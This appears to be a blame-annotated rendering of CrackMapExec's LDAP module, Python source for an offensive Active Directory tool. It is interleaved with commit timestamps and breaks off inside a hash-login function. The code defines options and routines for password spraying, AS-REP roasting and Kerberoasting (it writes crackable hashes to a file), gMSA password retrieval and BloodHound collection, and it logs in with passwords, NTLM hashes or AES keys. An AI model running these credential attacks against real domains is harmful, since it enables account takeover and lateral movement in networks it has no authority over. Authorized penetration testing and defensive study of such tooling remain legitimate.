2022-07-18 23:59:14 +00:00
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
2020-06-19 13:20:22 +00:00
# from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py
2020-06-19 21:31:34 +00:00
# https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
2020-06-19 13:20:22 +00:00
import logging
2022-12-14 20:45:51 +00:00
import hmac
2023-02-05 10:43:12 +00:00
2020-06-19 13:20:22 +00:00
from cme . connection import *
from cme . helpers . logger import highlight
from cme . logger import CMEAdapter
2021-11-20 21:37:14 +00:00
from cme . helpers . bloodhound import add_user_bh
2022-10-19 09:48:22 +00:00
from cme . protocols . ldap . gmsa import MSDS_MANAGEDPASSWORD_BLOB
2020-06-19 21:31:34 +00:00
from cme . protocols . ldap . kerberos import KerberosAttacks
2023-02-05 10:43:12 +00:00
from cme . protocols . ldap . bloodhound import BloodHound
2020-06-19 13:20:22 +00:00
from impacket . smbconnection import SMBConnection , SessionError
from impacket . smb import SMB_DIALECT
from impacket . dcerpc . v5 . samr import UF_ACCOUNTDISABLE , UF_DONT_REQUIRE_PREAUTH , UF_TRUSTED_FOR_DELEGATION , UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
2022-10-24 13:59:43 +00:00
from impacket . krb5 . kerberosv5 import sendReceive , KerberosError , getKerberosTGT , getKerberosTGS , SessionKeyDecryptionError
2022-11-09 21:56:57 +00:00
from impacket . krb5 . types import KerberosTime , Principal , KerberosException
2020-06-19 13:20:22 +00:00
from impacket . ldap import ldap as ldap_impacket
2020-06-19 21:31:34 +00:00
from impacket . krb5 import constants
2020-06-19 13:20:22 +00:00
from impacket . ldap import ldapasn1 as ldapasn1_impacket
2022-10-19 09:48:22 +00:00
from impacket . ldap . ldaptypes import SR_SECURITY_DESCRIPTOR
2023-02-05 10:43:12 +00:00
from bloodhound . ad . domain import AD
from bloodhound . ad . authentication import ADAuthentication
from argparse import _StoreTrueAction
from binascii import b2a_hex , unhexlify , hexlify
from Cryptodome . Hash import MD4
2020-06-19 13:20:22 +00:00
from io import StringIO
2022-07-06 13:34:07 +00:00
from pywerview . cli . helpers import *
2022-10-19 09:48:22 +00:00
from re import sub , I
2023-02-05 10:43:12 +00:00
from zipfile import ZipFile
2020-06-19 13:20:22 +00:00
2021-07-02 08:50:41 +00:00
ldap_error_status = {
2022-11-01 22:20:14 +00:00
" 1 " : " STATUS_NOT_SUPPORTED " ,
2021-07-02 08:50:41 +00:00
" 533 " : " STATUS_ACCOUNT_DISABLED " ,
" 701 " : " STATUS_ACCOUNT_EXPIRED " ,
" 531 " : " STATUS_ACCOUNT_RESTRICTION " ,
" 530 " : " STATUS_INVALID_LOGON_HOURS " ,
" 532 " : " STATUS_PASSWORD_EXPIRED " ,
" 773 " : " STATUS_PASSWORD_MUST_CHANGE " ,
" 775 " : " USER_ACCOUNT_LOCKED " ,
2022-10-24 12:30:31 +00:00
" 50 " : " LDAP_INSUFFICIENT_ACCESS " ,
2022-10-24 13:01:30 +00:00
" KDC_ERR_CLIENT_REVOKED " : " KDC_ERR_CLIENT_REVOKED " ,
" KDC_ERR_PREAUTH_FAILED " : " KDC_ERR_PREAUTH_FAILED "
2021-07-02 08:50:41 +00:00
}
2023-02-05 10:43:12 +00:00
def resolve_collection_methods ( methods ) :
"""
Convert methods ( string ) to list of validated methods to resolve
"""
valid_methods = [ ' group ' , ' localadmin ' , ' session ' , ' trusts ' , ' default ' , ' all ' , ' loggedon ' ,
' objectprops ' , ' experimental ' , ' acl ' , ' dcom ' , ' rdp ' , ' psremote ' , ' dconly ' ,
' container ' ]
default_methods = [ ' group ' , ' localadmin ' , ' session ' , ' trusts ' ]
# Similar to SharpHound, All is not really all, it excludes loggedon
all_methods = [ ' group ' , ' localadmin ' , ' session ' , ' trusts ' , ' objectprops ' , ' acl ' , ' dcom ' , ' rdp ' , ' psremote ' , ' container ' ]
# DC only, does not collect to computers
dconly_methods = [ ' group ' , ' trusts ' , ' objectprops ' , ' acl ' , ' container ' ]
if ' , ' in methods :
method_list = [ method . lower ( ) for method in methods . split ( ' , ' ) ]
validated_methods = [ ]
for method in method_list :
if method not in valid_methods :
logging . error ( ' Invalid collection method specified: %s ' , method )
return False
if method == ' default ' :
validated_methods + = default_methods
elif method == ' all ' :
validated_methods + = all_methods
elif method == ' dconly ' :
validated_methods + = dconly_methods
else :
validated_methods . append ( method )
return set ( validated_methods )
else :
validated_methods = [ ]
# It is only one
method = methods . lower ( )
if method in valid_methods :
if method == ' default ' :
validated_methods + = default_methods
elif method == ' all ' :
validated_methods + = all_methods
elif method == ' dconly ' :
validated_methods + = dconly_methods
else :
validated_methods . append ( method )
return set ( validated_methods )
else :
logging . error ( ' Invalid collection method specified: %s ' , method )
return False
2022-09-18 23:12:22 +00:00
def get_conditional_action ( baseAction ) :
class ConditionalAction ( baseAction ) :
def __init__ ( self , option_strings , dest , * * kwargs ) :
x = kwargs . pop ( ' make_required ' , [ ] )
super ( ConditionalAction , self ) . __init__ ( option_strings , dest , * * kwargs )
self . make_required = x
def __call__ ( self , parser , namespace , values , option_string = None ) :
for x in self . make_required :
x . required = True
super ( ConditionalAction , self ) . __call__ ( parser , namespace , values , option_string )
return ConditionalAction
2020-06-19 13:20:22 +00:00
class ldap ( connection ) :
def __init__ ( self , args , db , host ) :
self . domain = None
self . server_os = None
self . os_arch = 0
self . hash = None
2020-06-19 21:31:34 +00:00
self . ldapConnection = None
2020-06-19 13:20:22 +00:00
self . lmhash = ' '
self . nthash = ' '
self . baseDN = ' '
2022-11-01 22:20:14 +00:00
self . target = ' '
2022-09-21 13:08:31 +00:00
self . targetDomain = ' '
2020-06-19 13:20:22 +00:00
self . remote_ops = None
self . bootkey = None
self . output_filename = None
self . smbv1 = None
self . signing = False
self . smb_share_name = smb_share_name
2021-01-21 14:45:55 +00:00
self . admin_privs = False
2022-11-01 22:20:14 +00:00
self . no_ntlm = False
self . sid_domain = " "
2020-06-19 13:20:22 +00:00
connection . __init__ ( self , args , db , host )
@staticmethod
def proto_args ( parser , std_parser , module_parser ) :
2021-09-19 14:23:26 +00:00
ldap_parser = parser . add_parser ( ' ldap ' , help = " own stuff using LDAP " , parents = [ std_parser , module_parser ] )
2020-06-19 13:20:22 +00:00
ldap_parser . add_argument ( " -H " , ' --hash ' , metavar = " HASH " , dest = ' hash ' , nargs = ' + ' , default = [ ] , help = ' NTLM hash(es) or file(s) containing NTLM hashes ' )
ldap_parser . add_argument ( " --no-bruteforce " , action = ' store_true ' , help = ' No spray when using file for username and password (user1 => password1, user2 => password2 ' )
ldap_parser . add_argument ( " --continue-on-success " , action = ' store_true ' , help = " continues authentication attempts even after successes " )
ldap_parser . add_argument ( " --port " , type = int , choices = { 389 , 636 } , default = 389 , help = " LDAP port (default: 389) " )
2022-10-19 09:48:22 +00:00
no_smb_arg = ldap_parser . add_argument ( " --no-smb " , action = get_conditional_action ( _StoreTrueAction ) , make_required = [ ] , help = ' No smb connection ' )
2022-09-18 23:12:22 +00:00
2020-06-19 13:20:22 +00:00
dgroup = ldap_parser . add_mutually_exclusive_group ( )
2022-09-18 23:12:22 +00:00
domain_arg = dgroup . add_argument ( " -d " , metavar = " DOMAIN " , dest = ' domain ' , type = str , default = None , help = " domain to authenticate to " )
2020-06-19 13:20:22 +00:00
dgroup . add_argument ( " --local-auth " , action = ' store_true ' , help = ' authenticate locally to each target ' )
2022-09-18 23:12:22 +00:00
no_smb_arg . make_required = [ domain_arg ]
2020-06-19 13:20:22 +00:00
egroup = ldap_parser . add_argument_group ( " Retrevie hash on the remote DC " , " Options to get hashes from Kerberos " )
egroup . add_argument ( " --asreproast " , help = " Get AS_REP response ready to crack with hashcat " )
2020-06-19 21:31:34 +00:00
egroup . add_argument ( " --kerberoasting " , help = ' Get TGS ticket ready to crack with hashcat ' )
vgroup = ldap_parser . add_argument_group ( " Retrieve useful information on the domain " , " Options to to play with Kerberos " )
2020-06-20 09:56:55 +00:00
vgroup . add_argument ( " --trusted-for-delegation " , action = " store_true " , help = " Get the list of users and computers with flag TRUSTED_FOR_DELEGATION " )
2021-01-23 11:21:33 +00:00
vgroup . add_argument ( " --password-not-required " , action = " store_true " , help = " Get the list of users with flag PASSWD_NOTREQD " )
2020-06-19 21:31:34 +00:00
vgroup . add_argument ( " --admin-count " , action = " store_true " , help = " Get objets that had the value adminCount=1 " )
2021-06-24 18:37:54 +00:00
vgroup . add_argument ( " --users " , action = " store_true " , help = " Enumerate enabled domain users " )
2021-01-21 14:45:55 +00:00
vgroup . add_argument ( " --groups " , action = " store_true " , help = " Enumerate domain groups " )
2022-11-01 22:20:14 +00:00
vgroup . add_argument ( " --get-sid " , action = " store_true " , help = " Get domain sid " )
2020-06-19 13:20:22 +00:00
2022-12-14 20:45:51 +00:00
ggroup = ldap_parser . add_argument_group ( " Retrevie gmsa on the remote DC " , " Options to play with gmsa " )
ggroup . add_argument ( " --gmsa " , action = " store_true " , help = " Enumerate GMSA passwords " )
ggroup . add_argument ( " --gmsa-convert-id " , help = " Get the secret name of specific gmsa or all gmsa if no gmsa provided " )
ggroup . add_argument ( " --gmsa-decrypt-lsa " , help = " Decrypt the gmsa encrypted value from LSA " )
2023-02-05 10:43:12 +00:00
bgroup = ldap_parser . add_argument_group ( " Bloodhound scan " , " Options to play with bloodhoud " )
bgroup . add_argument ( " --bloodhound " , action = " store_true " , help = " Perform bloodhound scan " )
bgroup . add_argument ( " -ns " , ' --nameserver ' , help = " Custom DNS IP " )
bgroup . add_argument ( " -c " , " --collection " , help = " Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma. (default: Default) ' " )
2020-06-19 13:20:22 +00:00
return parser
def proto_logger ( self ) :
self . logger = CMEAdapter ( extra = {
2021-10-16 19:37:06 +00:00
' protocol ' : " SMB " ,
2020-06-19 13:20:22 +00:00
' host ' : self . host ,
2021-10-16 19:37:06 +00:00
' port ' : " 445 " ,
2020-06-19 13:20:22 +00:00
' hostname ' : self . hostname
} )
2022-09-21 13:08:31 +00:00
def get_ldap_info ( self , host ) :
2022-09-08 18:07:31 +00:00
try :
2023-02-12 21:11:22 +00:00
proto = " ldaps " if ( self . args . gmsa or self . args . port == 636 ) else " ldap "
ldapConnection = ldap_impacket . LDAPConnection ( proto + ' :// %s ' % host )
2022-09-08 18:07:31 +00:00
2022-09-21 13:08:31 +00:00
resp = ldapConnection . search ( scope = ldapasn1_impacket . Scope ( ' baseObject ' ) , attributes = [ ' defaultNamingContext ' , ' dnsHostName ' ] , sizeLimit = 0 )
2022-09-08 18:07:31 +00:00
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
2022-09-21 13:08:31 +00:00
target = None
targetDomain = None
baseDN = None
2022-09-08 18:07:31 +00:00
try :
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' defaultNamingContext ' :
baseDN = str ( attribute [ ' vals ' ] [ 0 ] )
2022-10-19 09:48:22 +00:00
targetDomain = sub ( ' ,DC= ' , ' . ' , baseDN [ baseDN . lower ( ) . find ( ' dc= ' ) : ] , flags = I ) [ 3 : ]
2022-09-21 13:08:31 +00:00
if str ( attribute [ ' type ' ] ) == ' dnsHostName ' :
target = str ( attribute [ ' vals ' ] [ 0 ] )
2022-09-08 18:07:31 +00:00
except Exception as e :
logging . debug ( " Exception: " , exc_info = True )
logging . debug ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
except OSError as e :
2022-11-03 19:56:38 +00:00
return [ None , None , None ]
2022-09-08 18:07:31 +00:00
2022-09-21 13:08:31 +00:00
return [ target , targetDomain , baseDN ]
2022-09-08 18:07:31 +00:00
2020-06-19 13:20:22 +00:00
def get_os_arch ( self ) :
try :
stringBinding = r ' ncacn_ip_tcp: {} [135] ' . format ( self . host )
transport = DCERPCTransportFactory ( stringBinding )
transport . set_connect_timeout ( 5 )
dce = transport . get_dce_rpc ( )
if self . args . kerberos :
dce . set_auth_type ( RPC_C_AUTHN_GSS_NEGOTIATE )
dce . connect ( )
try :
dce . bind ( MSRPC_UUID_PORTMAP , transfer_syntax = ( ' 71710533-BEBA-4937-8319-B5DBEF9CCC36 ' , ' 1.0 ' ) )
except ( DCERPCException , e ) :
if str ( e ) . find ( ' syntaxes_not_supported ' ) > = 0 :
dce . disconnect ( )
return 32
else :
dce . disconnect ( )
return 64
except Exception as e :
logging . debug ( ' Error retrieving os arch of {} : {} ' . format ( self . host , str ( e ) ) )
return 0
2022-09-08 18:14:50 +00:00
def get_ldap_username ( self ) :
extendedRequest = ldapasn1_impacket . ExtendedRequest ( )
extendedRequest [ ' requestName ' ] = ' 1.3.6.1.4.1.4203.1.11.3 ' # whoami
response = self . ldapConnection . sendReceive ( extendedRequest )
for message in response :
searchResult = message [ ' protocolOp ' ] . getComponent ( )
if searchResult [ ' resultCode ' ] == ldapasn1_impacket . ResultCode ( ' success ' ) :
responseValue = searchResult [ ' responseValue ' ]
if responseValue . hasValue ( ) :
value = responseValue . asOctets ( ) . decode ( responseValue . encoding ) [ 2 : ]
return value . split ( ' \\ ' ) [ 1 ]
return ' '
2020-06-19 13:20:22 +00:00
def enum_host_info ( self ) :
2022-11-01 22:20:14 +00:00
self . target , self . targetDomain , self . baseDN = self . get_ldap_info ( self . host )
self . hostname = self . target
self . domain = self . targetDomain
2022-02-27 13:00:44 +00:00
# smb no open, specify the domain
if self . args . no_smb :
self . domain = self . args . domain
else :
self . local_ip = self . conn . getSMBServer ( ) . get_socket ( ) . getsockname ( ) [ 0 ]
2020-06-19 13:20:22 +00:00
2022-02-27 13:00:44 +00:00
try :
2023-03-10 06:12:59 +00:00
self . conn . login ( ' ' , ' ' )
except BrokenPipeError as e :
self . logger . error ( f " Broken Pipe Error while attempting to login " )
2022-11-01 22:20:14 +00:00
except Exception as e :
if " STATUS_NOT_SUPPORTED " in str ( e ) :
self . no_ntlm = True
pass
if not self . no_ntlm :
self . domain = self . conn . getServerDNSDomainName ( )
self . hostname = self . conn . getServerName ( )
2022-02-27 13:00:44 +00:00
self . server_os = self . conn . getServerOS ( )
self . signing = self . conn . isSigningRequired ( ) if self . smbv1 else self . conn . _SMBConnection . _Connection [ ' RequireSigning ' ]
self . os_arch = self . get_os_arch ( )
2020-06-19 13:20:22 +00:00
2022-02-27 13:00:44 +00:00
if not self . domain :
self . domain = self . hostname
2020-06-19 13:20:22 +00:00
2022-02-27 13:00:44 +00:00
try :
''' plaintext_login
DC ' s seem to want us to logoff first, windows workstations sometimes reset the connection
( go home Windows , you ' re drunk)
'''
self . conn . logoff ( )
except :
pass
if self . args . domain :
self . domain = self . args . domain
if self . args . local_auth :
self . domain = self . hostname
#Re-connect since we logged off
self . create_conn_obj ( )
2023-02-05 10:43:12 +00:00
self . output_filename = os . path . expanduser ( ' ~/.cme/logs/ {} _ {} _ {} ' . format ( self . hostname , self . host , datetime . now ( ) . strftime ( " % Y- % m- %d _ % H % M % S " ) ) )
self . output_filename = self . output_filename . replace ( " : " , " - " )
2020-06-19 13:20:22 +00:00
def print_host_info ( self ) :
2022-02-27 13:00:44 +00:00
if self . args . no_smb :
self . logger . extra [ ' protocol ' ] = " LDAP "
2022-03-06 16:58:20 +00:00
self . logger . extra [ ' port ' ] = " 389 "
2022-02-27 13:00:44 +00:00
self . logger . info ( u " Connecting to LDAP {} " . format ( self . hostname ) )
#self.logger.info(self.endpoint)
else :
2022-11-01 22:20:14 +00:00
self . logger . extra [ ' protocol ' ] = " SMB " if not self . no_ntlm else " LDAP "
self . logger . extra [ ' port ' ] = " 445 " if not self . no_ntlm else " 389 "
2022-02-27 13:00:44 +00:00
self . logger . info ( u " {} {} (name: {} ) (domain: {} ) (signing: {} ) (SMBv1: {} ) " . format ( self . server_os ,
' x {} ' . format ( self . os_arch ) if self . os_arch else ' ' ,
self . hostname ,
self . domain ,
self . signing ,
self . smbv1 ) )
self . logger . extra [ ' protocol ' ] = " LDAP "
#self.logger.info(self.endpoint)
2021-11-17 12:37:14 +00:00
return True
2020-06-19 13:20:22 +00:00
2022-10-20 16:08:30 +00:00
def kerberos_login ( self , domain , username , password = ' ' , ntlm_hash = ' ' , aesKey = ' ' , kdcHost = ' ' , useCache = False ) :
2022-10-22 21:29:56 +00:00
logging . getLogger ( " impacket " ) . disabled = True
2022-10-22 20:38:29 +00:00
self . username = username
self . password = password
self . domain = domain
2023-02-05 10:43:12 +00:00
self . kdcHost = kdcHost
self . aesKey = aesKey
2020-06-19 13:20:22 +00:00
2022-10-20 16:08:30 +00:00
lmhash = ' '
nthash = ' '
self . username = username
#This checks to see if we didn't provide the LM Hash
if ntlm_hash . find ( ' : ' ) != - 1 :
lmhash , nthash = ntlm_hash . split ( ' : ' )
self . hash = nthash
else :
nthash = ntlm_hash
self . hash = ntlm_hash
if lmhash : self . lmhash = lmhash
if nthash : self . nthash = nthash
2022-10-24 13:59:43 +00:00
if self . password == ' ' and self . args . asreproast :
hash_TGT = KerberosAttacks ( self ) . getTGT_asroast ( self . username )
if hash_TGT :
self . logger . highlight ( u ' {} ' . format ( hash_TGT ) )
with open ( self . args . asreproast , ' a+ ' ) as hash_asreproast :
hash_asreproast . write ( hash_TGT + ' \n ' )
return False
2022-10-31 12:33:41 +00:00
if not all ( ' ' == s for s in [ self . nthash , password , aesKey ] ) :
kerb_pass = next ( s for s in [ self . nthash , password , aesKey ] if s )
else :
kerb_pass = ' '
2020-06-19 13:20:22 +00:00
try :
2022-09-19 10:02:58 +00:00
# Connect to LDAP
2023-02-05 10:43:12 +00:00
proto = " ldaps " if ( self . args . gmsa or self . args . port == 636 ) else " ldap "
2022-11-01 22:20:14 +00:00
self . ldapConnection = ldap_impacket . LDAPConnection ( proto + ' :// %s ' % self . target , self . baseDN )
2022-10-20 16:08:30 +00:00
self . ldapConnection . kerberosLogin ( username , password , domain , self . lmhash , self . nthash ,
aesKey , kdcHost = kdcHost , useCache = useCache )
2022-01-19 18:36:33 +00:00
2022-09-08 18:14:50 +00:00
if self . username == ' ' :
2022-09-19 10:02:58 +00:00
self . username = self . get_ldap_username ( )
self . check_if_admin ( )
2022-09-08 18:14:50 +00:00
2022-10-24 12:12:32 +00:00
out = u ' {} \\ {} {} {} ' . format ( domain ,
self . username ,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache " if useCache
2022-10-31 12:33:41 +00:00
else " : %s " % ( kerb_pass if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2022-10-24 12:12:32 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
2022-01-19 18:36:33 +00:00
self . logger . extra [ ' protocol ' ] = " LDAP "
2023-02-05 10:43:12 +00:00
self . logger . extra [ ' port ' ] = " 636 " if ( self . args . gmsa or self . args . port == 636 ) else " 389 "
2022-01-19 18:36:33 +00:00
self . logger . success ( out )
2022-09-19 10:02:58 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2022-10-20 19:40:53 +00:00
if not self . args . continue_on_success :
return True
2022-10-24 13:59:43 +00:00
except SessionKeyDecryptionError :
# for PRE-AUTH account
self . logger . error ( u ' {} \\ {} {} {} ' . format ( domain ,
self . username ,
" account vulnerable to asreproast attack " ,
" " ) ,
color = ' yellow ' )
return False
2022-10-20 19:40:53 +00:00
except SessionError as e :
2022-10-24 12:30:31 +00:00
error , desc = e . getErrorString ( )
2022-10-24 12:12:32 +00:00
self . logger . error ( u ' {} \\ {} {} {} ' . format ( self . domain ,
2022-10-20 19:40:53 +00:00
self . username ,
2022-10-24 12:12:32 +00:00
" from ccache " if useCache
2022-10-31 12:33:41 +00:00
else " : %s " % ( kerb_pass if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2022-10-24 13:01:30 +00:00
str ( error ) ) ,
2022-10-24 12:30:31 +00:00
color = ' magenta ' if error in ldap_error_status else ' red ' )
2022-10-20 19:40:53 +00:00
return False
2022-11-29 22:26:05 +00:00
except ( KeyError , KerberosException , OSError ) as e :
2022-10-24 12:12:32 +00:00
self . logger . error ( u ' {} \\ {} {} {} ' . format ( self . domain ,
2022-10-20 19:40:53 +00:00
self . username ,
2022-10-24 12:12:32 +00:00
" from ccache " if useCache
2022-10-31 12:33:41 +00:00
else " : %s " % ( kerb_pass if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2022-11-09 21:59:53 +00:00
str ( e ) ) ,
2022-10-20 19:40:53 +00:00
color = ' red ' )
2022-10-24 12:30:31 +00:00
return False
2020-06-19 13:20:22 +00:00
except ldap_impacket . LDAPSessionError as e :
if str ( e ) . find ( ' strongerAuthRequired ' ) > = 0 :
# We need to try SSL
2022-10-24 12:30:31 +00:00
try :
# Connect to LDAPS
2022-11-01 22:20:14 +00:00
self . ldapConnection = ldap_impacket . LDAPConnection ( ' ldaps:// %s ' % self . target , self . baseDN )
2022-10-24 12:30:31 +00:00
self . ldapConnection . kerberosLogin ( username , password , domain , self . lmhash , self . nthash ,
aesKey , kdcHost = kdcHost , useCache = useCache )
2022-06-28 19:12:09 +00:00
2022-10-24 12:30:31 +00:00
if self . username == ' ' :
self . username = self . get_ldap_username ( )
2022-09-19 10:02:58 +00:00
2022-10-24 12:30:31 +00:00
self . check_if_admin ( )
2022-09-19 10:02:58 +00:00
2022-10-24 12:30:31 +00:00
# Prepare success credential text
out = u ' {} \\ {} {} {} ' . format ( domain ,
self . username ,
" from ccache " if useCache
2022-10-31 12:33:41 +00:00
else " : %s " % ( kerb_pass if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2022-10-24 12:30:31 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
if self . username == ' ' :
self . username = self . get_ldap_username ( )
self . check_if_admin ( )
# Prepare success credential text
out = u ' {} \\ {} {} ' . format ( domain ,
self . username ,
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
self . logger . extra [ ' protocol ' ] = " LDAPS "
self . logger . extra [ ' port ' ] = " 636 "
self . logger . success ( out )
2022-06-28 19:12:09 +00:00
2022-10-24 12:30:31 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
if not self . args . continue_on_success :
return True
except ldap_impacket . LDAPSessionError as e :
errorCode = str ( e ) . split ( ) [ - 2 ] [ : - 1 ]
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( self . domain ,
self . username ,
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
ldap_error_status [ errorCode ] if errorCode in ldap_error_status else ' ' ) ,
color = ' magenta ' if errorCode in ldap_error_status else ' red ' )
return False
except SessionError as e :
error , desc = e . getErrorString ( )
self . logger . error ( u ' {} \\ {} {} {} ' . format ( self . domain ,
self . username ,
" from ccache " if useCache
2022-10-31 12:33:41 +00:00
else " : %s " % ( kerb_pass if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2022-10-24 13:01:30 +00:00
str ( error ) ) ,
2022-10-24 12:30:31 +00:00
color = ' magenta ' if error in ldap_error_status else ' red ' )
return False
2021-07-02 08:50:41 +00:00
else :
errorCode = str ( e ) . split ( ) [ - 2 ] [ : - 1 ]
2022-10-24 12:12:32 +00:00
self . logger . error ( u ' {} \\ {} {} {} ' . format ( self . domain ,
2022-09-19 10:02:58 +00:00
self . username ,
2022-10-24 12:12:32 +00:00
" from ccache " if useCache
2022-10-31 12:33:41 +00:00
else " : %s " % ( kerb_pass if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2021-07-02 08:50:41 +00:00
ldap_error_status [ errorCode ] if errorCode in ldap_error_status else ' ' ) ,
color = ' magenta ' if errorCode in ldap_error_status else ' red ' )
2022-10-24 12:30:31 +00:00
return False
2020-06-19 13:20:22 +00:00
def plaintext_login ( self , domain , username , password ) :
self . username = username
self . password = password
self . domain = domain
2021-07-02 08:50:41 +00:00
2020-06-30 20:49:01 +00:00
if self . password == ' ' and self . args . asreproast :
hash_TGT = KerberosAttacks ( self ) . getTGT_asroast ( self . username )
if hash_TGT :
self . logger . highlight ( u ' {} ' . format ( hash_TGT ) )
with open ( self . args . asreproast , ' a+ ' ) as hash_asreproast :
hash_asreproast . write ( hash_TGT + ' \n ' )
return False
2020-06-19 13:20:22 +00:00
try :
2022-09-16 15:44:59 +00:00
# Connect to LDAP
2023-02-05 10:43:12 +00:00
proto = " ldaps " if ( self . args . gmsa or self . args . port == 636 ) else " ldap "
2022-11-01 22:20:14 +00:00
self . ldapConnection = ldap_impacket . LDAPConnection ( proto + ' :// %s ' % self . target , self . baseDN )
2020-06-19 21:31:34 +00:00
self . ldapConnection . login ( self . username , self . password , self . domain , self . lmhash , self . nthash )
2021-07-02 08:50:41 +00:00
self . check_if_admin ( )
2021-01-21 14:45:55 +00:00
2022-09-19 10:02:58 +00:00
# Prepare success credential text
out = u ' {} \\ {} : {} {} ' . format ( domain ,
self . username ,
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
2022-10-23 19:29:30 +00:00
2021-10-16 19:37:06 +00:00
self . logger . extra [ ' protocol ' ] = " LDAP "
2023-02-05 10:43:12 +00:00
self . logger . extra [ ' port ' ] = " 636 " if ( self . args . gmsa or self . args . port == 636 ) else " 389 "
2020-06-30 20:49:01 +00:00
self . logger . success ( out )
2021-01-21 08:47:45 +00:00
2022-02-06 12:33:49 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2021-01-21 08:47:45 +00:00
if not self . args . continue_on_success :
return True
2020-06-19 13:20:22 +00:00
except ldap_impacket . LDAPSessionError as e :
if str ( e ) . find ( ' strongerAuthRequired ' ) > = 0 :
# We need to try SSL
2020-06-30 20:49:01 +00:00
try :
2022-09-19 10:02:58 +00:00
# Connect to LDAPS
2022-11-01 22:20:14 +00:00
self . ldapConnection = ldap_impacket . LDAPConnection ( ' ldaps:// %s ' % self . target , self . baseDN )
2020-06-30 20:49:01 +00:00
self . ldapConnection . login ( self . username , self . password , self . domain , self . lmhash , self . nthash )
2022-09-19 10:02:58 +00:00
self . check_if_admin ( )
# Prepare success credential text
out = u ' {} \\ {} : {} {} ' . format ( domain ,
self . username ,
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
2021-10-16 19:37:06 +00:00
self . logger . extra [ ' protocol ' ] = " LDAPS "
self . logger . extra [ ' port ' ] = " 636 "
2020-06-30 20:49:01 +00:00
self . logger . success ( out )
2022-09-19 10:02:58 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2022-10-20 19:40:53 +00:00
if not self . args . continue_on_success :
return True
2020-06-30 20:49:01 +00:00
except ldap_impacket . LDAPSessionError as e :
2021-07-02 08:50:41 +00:00
errorCode = str ( e ) . split ( ) [ - 2 ] [ : - 1 ]
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( self . domain ,
self . username ,
2022-02-07 21:19:46 +00:00
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2021-07-02 08:50:41 +00:00
ldap_error_status [ errorCode ] if errorCode in ldap_error_status else ' ' ) ,
2023-02-05 10:43:12 +00:00
color = ' magenta ' if ( errorCode in ldap_error_status and errorCode != 1 ) else ' red ' )
2020-06-19 21:57:09 +00:00
else :
2021-07-02 08:50:41 +00:00
errorCode = str ( e ) . split ( ) [ - 2 ] [ : - 1 ]
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( self . domain ,
2020-06-19 21:57:09 +00:00
self . username ,
2022-02-07 21:19:46 +00:00
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2021-07-02 08:50:41 +00:00
ldap_error_status [ errorCode ] if errorCode in ldap_error_status else ' ' ) ,
2023-02-05 10:43:12 +00:00
color = ' magenta ' if ( errorCode in ldap_error_status and errorCode != 1 ) else ' red ' )
2020-06-19 21:31:34 +00:00
return False
2021-01-21 08:54:26 +00:00
except OSError as e :
2021-09-18 21:02:01 +00:00
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( self . domain ,
2021-01-21 08:54:26 +00:00
self . username ,
2022-02-07 21:19:46 +00:00
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2022-11-03 19:56:38 +00:00
" Error connecting to the domain, are you sure LDAP service is running on the target ? " ) )
2021-01-21 08:54:26 +00:00
return False
2020-06-19 13:20:22 +00:00
2020-06-22 10:25:32 +00:00
def hash_login ( self , domain , username , ntlm_hash ) :
2022-10-20 19:40:53 +00:00
self . logger . extra [ ' protocol ' ] = " LDAP "
